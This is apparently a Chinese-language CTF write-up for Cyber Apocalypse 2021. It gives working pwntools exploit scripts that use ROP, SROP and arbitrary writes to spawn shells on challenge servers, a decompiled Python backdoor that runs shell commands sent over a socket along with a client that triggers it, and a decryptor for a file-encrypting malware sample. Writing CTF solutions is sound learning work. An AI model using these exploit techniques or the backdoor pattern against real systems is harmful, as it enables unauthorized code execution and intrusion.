Cyber Apocalypse 2021题解

2021-04-26
#ctf #wp

pwn

Controller

经过一个check后就是一个最普通的ROP。

__int64 calculator()
{
  __int64 result; // rax
  char v1[28]; // [rsp+0h] [rbp-20h] BYREF
  int v2; // [rsp+1Ch] [rbp-4h]

  v2 = calc();
  if ( v2 != 65338 )
    return calculator();
  printstr("Something odd happened!\nDo you want to report the problem?\n> ");
  __isoc99_scanf("%s", v1);    //栈溢出
  if ( v1[0] == 'y' || v1[0] == 'Y' )
    result = printstr("Problem reported!\n");
  else
    result = printstr("Problem ingored\n");
  return result;
}

前面calc函数可以计算两个小于等于69的数的加减乘除,但是答案要是65338,可以输入负数绕过。ROP先通过输出GOT表泄露glibc的地址,然后调用system函数。

from typing import Union
from pwn import *
from LibcSearcher import *
from pwnlib.rop import *
from pwnlib.context import *

context.log_level='debug'
REMOTE = True

def main(p: Union[remote, process], elf: ELF):
    p.sendlineafter('Insert the amount of 2 different types of recources:', '0 -65338')
    p.sendlineafter('> ','2')
    rop1=ROP(elf)
    rop1.puts(elf.got['puts'])
    rop1.call('_start')
    p.sendlineafter('> ',flat({40:rop1.chain()}))
    p.recvline()
    libc=LibcSearcher().condition('puts',u64(p.recvline(False).ljust(8,b'\0'))).elf()
    rop2=ROP(libc)
    rop2.raw(0x4010FD)
    rop2.system(next(libc.search(b'/bin/sh\0')))
    p.sendlineafter('Insert the amount of 2 different types of recources:', '0 -65338')
    p.sendlineafter('> ','2')
    p.sendlineafter('> ',flat({40:rop2.chain()}))


if __name__ == "__main__":
    elf_path='./controller'
    context.binary = elf_path
    elf=ELF(elf_path)
    if REMOTE:
        p=remote('178.62.77.109',32598)
    else:
        p=process(elf_path)
    main(p,elf)
    p.interactive()

# CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s}

Minefield

程序有一个任意地址写,但是写完之后就直接退出了,没有调用其它函数。但是注意到fini_array段可写并且 程序存在后门函数,因此直接覆盖fini_array的值为后门函数地址即可。

from typing import Union
from pwn import *

context.log_level='debug'
REMOTE = True

def main(p: Union[remote, process], elf: ELF):
    p.sendlineafter('> ', '2')
    ida.attachAndContinue()
    p.sendlineafter(': ', str(0x601078))
    p.sendlineafter(': ', str(elf.sym['_']))

if __name__ == "__main__":
    elf_path='./minefield'
    context.binary = elf_path
    elf=ELF(elf_path)
    if REMOTE:
        p=remote('178.62.77.109',32598)
    else:
        p=process(elf_path)
    main(p,elf)
    p.interactive()
# CHTB{d3struct0r5_m1n3f13ld}

System dROP

栈溢出,但是没有输出的函数,可以通过syscall;ret;片段进行系统调用。利用SROP构造除符合条件的寄存器状态,进行调用。

基本思路: 栈转移->写入/bin/sh以及SigreturnFrame->读入15个字符使得rax为15->syscall->syscall

from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *

context.log_level='debug'
REMOTE = True

def main(p: Union[remote, process], elf: ELF):
    read_=0x400553
    syscall=0x40053B
    write_addr=0x601028
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = write_addr
    sigframe.rsi = 0x0
    sigframe.rdx = 0x0
    sigframe.rsp = write_addr+0x30
    sigframe.rip = syscall
    ida.attachAndContinue()
    p.send(flat({32:[
        write_addr+0x20,
        read_,
        write_addr+0x20,
    ]}))
    sleep(1)
    p.send(flat({32:[
        write_addr+0x20,
        elf.plt['read'],
        syscall,
        bytes(sigframe)
    ]})[:0x100])
    input()
    p.send(b'/bin/sh'.ljust(15,b'\0'))

if __name__ == "__main__":
    elf_path='./system_drop'
    context.binary = elf_path
    elf=ELF(elf_path)
    if REMOTE:
        p=remote('178.62.77.109',32598)
    else:
        p=process(elf_path)
    main(p,elf)
    p.interactive()
# CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p}

Save the environment

recycle函数可以泄露printf函数地址和任意地址读,plant函数可以任意地址写。程序内还有一个后门函数。

思路:泄露出来的libc地址->任意读environ得到栈地址->任意写将栈上的返回地址写成后门函数地址。

from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *

context.log_level='debug'
REMOTE = False

def main(p: Union[remote, process], elf: ELF):
    def s(i):
        if isinstance(i,int):
            p.sendlineafter('> ',str(i))
        else:
            p.sendlineafter('> ',i)
    def recycle():
        s(2)
        s(1)
        s('n')
    def plant(addr,value):
        s(1)
        s(addr)
        s(value)

    for _ in range(5):
        recycle()
    p.recvuntil('0x')
    libc=LibcSearcher().condition('printf',int(p.recvuntil(']',True),16)).elf()
    for _ in range(5):
        recycle()
    s(libc.sym['environ'])
    p.recvuntil('[0m')
    stack_addr=u64(p.recvline(False).ljust(8,b'\0'))-0x120
    plant(stack_addr,elf.sym['hidden_resources'])

if __name__ == "__main__":
    elf_path='./environment'
    context.binary = elf_path
    elf=ELF(elf_path)
    if REMOTE:
        p=remote('178.62.77.109',32598)
    else:
        p=process(elf_path)
    main(p,elf)
    p.interactive()
# CHTB{u_s4v3d_th3_3nv1r0n_v4r14bl3!}

Re

Authenticator

就一个异或加密,关键部分源码:

__int64 __fastcall checkpin(const char *a1)
{
  int i; // [rsp+14h] [rbp-1Ch]

  for ( i = 0; i < strlen(a1) - 1; ++i )
  {
    if ( ((unsigned __int8)aAVhAG8j89gvPDv[i] ^ 9) != a1[i] )
      return 1LL;
  }
  return 0LL;
}
print("".join([chr(i^9) for i in b'}a:Vh|}a:g}8j=}89gV<p<}:dV8<Vg9}V<9V<:j|{:']))
# CHTB{th3_auth3nt1c4t10n_5y5t3m_15_n0t_50_53cur3}

passphrase

IDA7.5直接生成了qmemcpy这个函数,就两次拼接,非常容易看出来。伪c代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1[23]; // [rsp+0h] [rbp-50h] BYREF
  char v5[8]; // [rsp+17h] [rbp-39h] BYREF
  char s[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  qmemcpy(s1, "3xtr4t3rR3stR14L5_VS_hu", sizeof(s1));
  printstr("\nHalt! ⛔");
  printstr("\nYou do not look familiar..");
  printstr("\nTell me the secret passphrase: ");
  fgets(s, 40, stdin);
  s[strlen(s) - 1] = 0;
  strcpy(v5, "m4n5");
  if ( !strcmp(s1, s) )
  {
    puts(&::s);
    printf("\x1B[32m");
    printf("\nSorry for suspecting you, please transfer this important message to the chief: CHTB{%s}\n\n", s);
  }
  else
  {
    printf("\x1B[31m");
    printstr(&unk_C17);
  }
  return 0;
}

flag为

CHTB{3xtr4t3rR3stR14L5_VS_hum4n5}

Backdoor

这题是PyInstaller逆向详细步骤可以参考这篇博客。注意一定要全部在linux环境内运行。按照博客里的步骤可以得到一个python文件,内容如下

# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.6 (default, Jan 27 2021, 15:42:20) 
# [GCC 10.2.0]
# Embedded file name: bd.py
# Compiled at: 2021-04-19 14:55:54
# Size of source mod 2**32: 4035 bytes
import socket
from hashlib import md5
from subprocess import check_output
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 4433))
sock.listen(5)
while True:
    client, addr = sock.accept()
    data = client.recv(32)
    if len(data) != 32:
        client.close()
    elif data.decode() != md5(b's4v3_th3_w0rld').hexdigest():
        client.send(b'Invalid')
        client.close()
    else:
        size = client.recv(1)
        command = client.recv(int.from_bytes(size, 'little'))
        if not command.startswith(b'command:'):
            client.close()
        else:
            command = command.replace(b'command:', b'')
            output = check_output(command, shell=True)
            client.send(output)
            client.close()
# okay decompiling bd.pyc

exp如下

from pwnlib.tubes.remote import *
from hashlib import md5

p=remote('138.68.132.86',31269)
p.send(md5(b's4v3_th3_w0rld').hexdigest())
def sendCommand(c):
    p.send(bytes([len(c)]))
    p.send(c)
sendCommand('command:cat flag.txt')
p.interactive()
# CHTB{b4ckd00r5_4r3_d4nG3r0u5}

Alienware

这是一道病毒分析。动调进入encryptFiles函数可以分析得出该病毒会对%USERPROFILE%\Docs内的文件进行加密,我们随意创建一个文件,让它加密。

进入加密函数中,可以发现是通过调用Wincrypt.h的接口进行加密,可以直接抄一遍,把加密函数改成解密函数即可。


#include "windows.h"
#include "Wincrypt.h"
#include "stdio.h"

unsigned char key[] =
{
  0x2F, 0x00, 0x6B, 0x00, 0x18, 0x00, 0xE4, 0x00, 0x9A, 0x00,
  0x33, 0x00, 0xD9, 0x00, 0xC7, 0x00
};

int main() {
	HCRYPTPROV cryptrov;
	CryptAcquireContextW(&cryptrov, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0xF0000000);
	HCRYPTHASH sha256;
	CryptCreateHash(cryptrov, CALG_SHA_256, NULL, NULL, &sha256);
	CryptHashData(sha256, key, 0x10, 0);
	HCRYPTKEY hkey;
	CryptDeriveKey(cryptrov, CALG_AES_128, sha256, 0, &hkey);

	FILE* fp_in , *fp_out;
	fopen_s(&fp_out,"D:\\Downloads\\Confidential.pdf","wb+");
	fopen_s(&fp_in,"D:\\Downloads\\Confidential.pdf.alien", "rb");

	DWORD l = 0x30;
	byte buffer[0x30];
	while(TRUE){
		int a=fread(buffer, 1, l, fp_in);
		if(!a)break;
		CryptDecrypt(hkey, NULL, 0, NULL, buffer, &l);
		fwrite(buffer,1,l,fp_out);
	}
	fclose(fp_in);
	fclose(fp_out);
}
//CHTB{3nh4nc3d_al1en_m@lwar3!}